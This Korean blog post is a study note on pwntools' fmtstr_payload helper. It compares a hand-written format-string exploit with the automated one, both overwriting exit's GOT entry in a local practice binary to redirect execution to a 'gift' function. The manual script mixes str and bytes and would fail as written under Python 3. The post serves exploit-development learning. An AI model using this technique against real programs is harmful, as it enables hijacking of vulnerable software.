반응형
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[PWNABLE] fmtstr_payload 본문

STUDY/PWNABLE_AMD64

[PWNABLE] fmtstr_payload

ZZoMb1E 2024. 6. 24. 17:26
728x90
반응형

※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※ 

 

 

fmtstr_payload는 fsb 취약점을 Explot하는 것을 자동화해주는 함수이다.

 

payload = fmtstr_payload(offset, {주소 : 덮을 값})

payload = fmtstr_payload(7, {addr:value})

위와 같이 사용하면 된다.

 

64비트 환경에서 사용하고자 한다면 아래 코드를 붙여줘야 한다.

context.bits = 64

 

 

앞에서 사용한 예제의 payload를 가지고 비교를 해보겠다.

from pwn import*

target = b'./ex'
p = process(target)
e = ELF(target)

gift = e.sym['gift']
exit_got = e.got['exit']

payload = '%{}c'.format((gift >> 16) & 0xffff )
payload += '%9$hn'
payload += '%{}c'.format(gift & 0xffff)
payload += '%10$hn'
payload += b'\x41'*3
payload += p64(exit_got+2)
payload += p64(exit_got)

p.send(payload)

p.interactive()

이와 같이 직접 쪼개서 작성해주었던 것을 아래와 같이 편하게 사용할 수 있게 해준다.

 

from pwn import*

target = b'./ex'
p = process(target)
e = ELF(target)

context.bits = 64

gift = e.sym['gift']
exit_got = e.got['exit']

payload = fmtstr_payload(6,{exit_got:gift})
p.send(payload)

p.interactive()

728x90
반응형

'STUDY > PWNABLE_AMD64' 카테고리의 다른 글

[PWNABLE] One_Gadget  (0) 2024.06.24
[PWNABLE] DSFSB  (0) 2024.06.24
[PWNABLE] FSB  (1) 2024.06.24
[PWNABLE] SROP  (0) 2024.05.02
[PWNABLE] ROP_64bit  (2) 2023.12.01